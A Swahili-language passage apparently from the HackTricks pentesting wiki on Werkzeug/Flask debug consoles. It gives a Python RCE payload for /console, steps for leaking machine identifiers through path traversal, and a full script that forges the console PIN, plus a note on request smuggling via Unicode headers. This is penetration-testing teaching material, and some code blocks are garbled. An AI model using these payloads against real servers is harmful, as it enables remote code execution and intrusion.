hacktricks/src/network-services-pentesting/pentesting-web/werkzeug.md

Werkzeug / Flask Debug

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Console RCE

Ikiwa debug imewashwa unaweza kujaribu kufikia /console na kupata RCE.

__import__('os').popen('whoami').read();

Kuna pia exploits kadhaa mtandaoni kama hii au moja katika metasploit.

Pin Protected - Path Traversal

Katika baadhi ya matukio, kiunganishi cha /console kitakuwa kimehifadhiwa kwa pin. Ikiwa una file traversal vulnerability, unaweza kuvuja taarifa zote muhimu za kuunda pin hiyo.

Werkzeug Console PIN Exploit

Lazimisha ukurasa wa kosa la debug katika programu ili kuona hii:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Ujumbe kuhusu hali ya "console locked" unapatikana unapojaribu kufikia interface ya debug ya Werkzeug, ikionyesha hitaji la PIN kufungua console. Pendekezo linatolewa kutumia PIN ya console kwa kuchambua algorithm ya kizazi cha PIN katika faili ya awali ya debug ya Werkzeug (__init__.py). Mekanismu ya kizazi cha PIN inaweza kusomwa kutoka kwenye Werkzeug source code repository, ingawa inashauriwa kupata msimbo halisi wa seva kupitia udhaifu wa kupita faili kutokana na tofauti za toleo zinazoweza kutokea.

Ili kutumia PIN ya console, seti mbili za mabadiliko, probably_public_bits na private_bits, zinahitajika:

probably_public_bits

• username: Inahusisha mtumiaji aliyeanzisha kikao cha Flask.
• modname: Kawaida inaitwa flask.app.
• getattr(app, '__name__', getattr(app.__class__, '__name__')): Kawaida inatatua kuwa Flask.
• getattr(mod, '__file__', None): Inawakilisha njia kamili ya app.py ndani ya directory ya Flask (mfano, /usr/local/lib/python3.5/dist-packages/flask/app.py). Ikiwa app.py haitumiki, jaribu app.pyc.

private_bits

• uuid.getnode(): Inapata anwani ya MAC ya mashine ya sasa, huku str(uuid.getnode()) ikitafsiriwa kuwa muundo wa desimali.

• Ili kubaini anwani ya MAC ya seva, mtu lazima atambue interface ya mtandao inayotumika na app (mfano, ens3). Katika hali za kutokuwa na uhakika, leak /proc/net/arp ili kupata kitambulisho cha kifaa, kisha toa anwani ya MAC kutoka /sys/class/net/<device id>/address.

• Kubadilisha anwani ya MAC ya hexadecimal kuwa desimali kunaweza kufanywa kama inavyoonyeshwa hapa chini:

# Mfano wa anwani ya MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692

• get_machine_id(): Inachanganya data kutoka /etc/machine-id au /proc/sys/kernel/random/boot_id na mstari wa kwanza wa /proc/self/cgroup baada ya slash ya mwisho (/).

Code for `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug:

Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Skripti inatumia `probably_public_bits` na `private_bits` zilizokusanywa ili kuunda hash, ambayo kisha inapata usindikaji zaidi ili kutoa PIN ya mwisho. Hapa chini kuna msimbo wa Python wa kutekeleza mchakato huu:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Hii script inazalisha PIN kwa kuhash bits zilizounganishwa, kuongeza chumvi maalum (cookiesalt na pinsalt), na kuunda muundo wa matokeo. Ni muhimu kutambua kwamba thamani halisi za probably_public_bits na private_bits zinahitaji kupatikana kwa usahihi kutoka kwa mfumo wa lengo ili kuhakikisha kwamba PIN iliyozalishwa inalingana na ile inayotarajiwa na konsole ya Werkzeug.

Tip

Ikiwa uko kwenye toleo la zamani la Werkzeug, jaribu kubadilisha algorithms ya kuhash kwa md5 badala ya sha1.

Makarakteri ya Unicode ya Werkzeug

Kama ilivyobainishwa katika tatizo hili, Werkzeug haifungi ombi lenye wahusika wa Unicode katika vichwa. Na kama ilivyoelezwa katika andika hii, hii inaweza kusababisha udhaifu wa CL.0 Request Smuggling.

Hii ni kwa sababu, katika Werkzeug inawezekana kutuma wahusika wengine wa Unicode na itafanya seva ivunjike. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa Connection: keep-alive, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo mwili wa ombi utaonekana kama ombio la HTTP linalofuata.

Utekelezaji wa Kiotomatiki

{{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}}

Marejeleo

• https://www.daehee.com/werkzeug-console-pin-exploit/
• https://ctftime.org/writeup/17955
• https://github.com/pallets/werkzeug/issues/2833
• https://mizu.re/post/twisty-python

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